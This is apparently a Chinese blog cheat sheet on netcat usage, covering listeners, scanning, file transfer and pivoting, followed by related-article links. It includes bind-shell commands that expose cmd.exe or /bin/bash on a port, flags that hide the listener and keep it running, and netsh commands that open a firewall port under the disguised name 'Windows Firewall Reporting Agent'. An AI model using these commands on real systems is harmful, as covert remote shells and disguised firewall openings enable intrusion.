nc用法
NC 在客户端 和 服务器执行
---------------------------------------------------------------------------------------------------------------------------------------------------
执行命令 -l 表示在服务器端启用监听模式
-p 指定监听的端口
-e 指定允许远程客户端访问监听端口时执行的程序
例如:
在远程服务器端执行 NC -l -p 12345 -e cmd.exe //表示在(windows)服务器监听12345端口,如果远程客户端访问12345端口将会将本地cmd.exe反 弹给客户端执行。
nc -l -p 12345 -e /bin/bash //在(linux)服务器监听12345端口,如果远程客户端访问12345端口会将本地bash反弹给客户端执行。
在本地客户端执行 nc 服务器ip 12345 // 连接服务器的12345端口,如果服务器端指定连接时执行的程序,会将服务器端的cmd.exe等反弹给客户端。
---------------------------------------------------------------------------------------------------------------------------------------------------
其他命令
-d隐藏服务在后台运行
nc -l -p 12345 -e cmd.exe -d //隐藏窗口服务后台运行
0.71版本 -d 2 设置延迟2秒后执行命令
-L不断打开nc进程,不断开随时连接
nc -l -p 12345 -e cmd.exe -d -L
-k 服务器端允许多个客户端连接数
-n 不做域名解析
-v/-vv 显示详细信息
-z syn扫描 -r随机端口 -i 设置延迟扫描
nc -v 192.168.113.1 21,80,443
nc -v 192.168.113.1 1-200
nc -v 192.168.113.1 http
输出重定向
nc -l -p 12345 > test //输出到test
>> //追加到不覆盖原有内容
-u 使用udp模式
---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
nc -n -l -u -p 53
nc -n -u ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件传输
远程服务端 nc -l -p 12345 < test.txt //远程服务器端执行,将服务器端test.txt发送给客户机
本地客户机 nc ip 12345 > test.txt //客户端执行,连接服务器获取test.txt
本地做服务器 nc -l -p 12345 > test.txt
远程客户机 nc ip 12345 < test.txt
-w 2 传输完成后2秒后断开
-o test 抓包保存至test
---------------------------------------------------------------------------------------------------------------------------------------------------
获取信息,下载
nc ip 22 //获取某ip的ssh服务信息
nc 域名 port
GET / HTTP/1.0
HEAD / HTTP/1.0 获取服务信息 两次回车
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板
A主机 nc b_ip 33333 //第三步连接b主机33333端口相当于访问c主机55555端口
B主机 nc -l -p 33333 | nc c_ip 55555 //第二步B主机连接C主机55555端口并通过管道转至本机通过33333端口监听
C主机 nc -l -p 55555 //第一步在C主机监听55555端口
----------------------------------------------------------------------------------------------------------------------------------------------------
netsh firewall show opmode 显示防火墙工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening
nc用法的更多相关文章
- linux监控命令nc用法
一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...
- nc用法【转】
linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o& ...
- nc用法小记
By francis_hao Jun 30,2017 ncat:连接和重定向套接字 概要 ncat [OPTIONS...] [hostname] [port] 描述 ncat 是一个集 ...
- nc命令用法举例
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 12. nc/netcat 用法举例
nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...
- nc命令用法举
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- NC 命令引用了一个高手的文章做收藏
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 使用nc传输文件和目录【转】
方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序,receiver先侦听 ...
- 【转至nmap】nc命令
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
随机推荐
- <Random>382 380
382. Linked List Random Node class Solution { ListNode node; Random random; /** @param head The link ...
- 【2019.7.16 NOIP模拟赛 T2】折叠(fold)(动态规划)
暴力\(DP\) 考虑暴力\(DP\),我们设\(f_{i,j}\)表示当前覆盖长度为\(i\),上一次折叠长度为\(j\)的方案数. 转移时需要再枚举这次的折叠长度\(k\)(\(k\ge j\)) ...
- [LeetCode] 486. Predict the Winner 预测赢家
Given an array of scores that are non-negative integers. Player 1 picks one of the numbers from eith ...
- [LeetCode] 38. Count and Say 计数和读法
The count-and-say sequence is the sequence of integers with the first five terms as following: 1. 1 ...
- 使用 Java 执行 groovy 脚本或方法
1. 引入依赖 <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groo ...
- oracle- 审计日志
一.审计功能关闭 1.查看审计功能是否开启? su – oracle sqlplus “/as sysdba” SQL> show parameter audit_trail NAME ...
- 【07月15日】A股滚动市盈率PE最低排名
仅根据最新的市盈率计算公式进行排名,无法对未来的业绩做出预测. 方大集团(SZ000055) - 滚动市盈率PE:2.53 - 滚动市净率PB:1.13 - 滚动年化股息收益率:4.01% - 建筑 ...
- docker 安装 apollo
apollo作为携程开源的配置中心,很多大厂在使用,在此记录下安装历程 服务器环境: 安装mysql 1.拉取镜像 docker pull idoop/docker-apollo 2.新建3个数据库, ...
- Python文件读写机制
Python提供了必要的函数和方法进行默认情况下的文件基本操作 文件打开方式: open(name[,mode[buf]]) name:文件路径 mode:打开方式 buf:缓冲buffering大小 ...
- 集合类源码(四)Collection之BlockingQueue(ArrayBlockingQueue, DelayQueue, LinkedBlockingQueue)
ArrayBlockingQueue 功能 全名 public class ArrayBlockingQueue<E> extends AbstractQueue<E> imp ...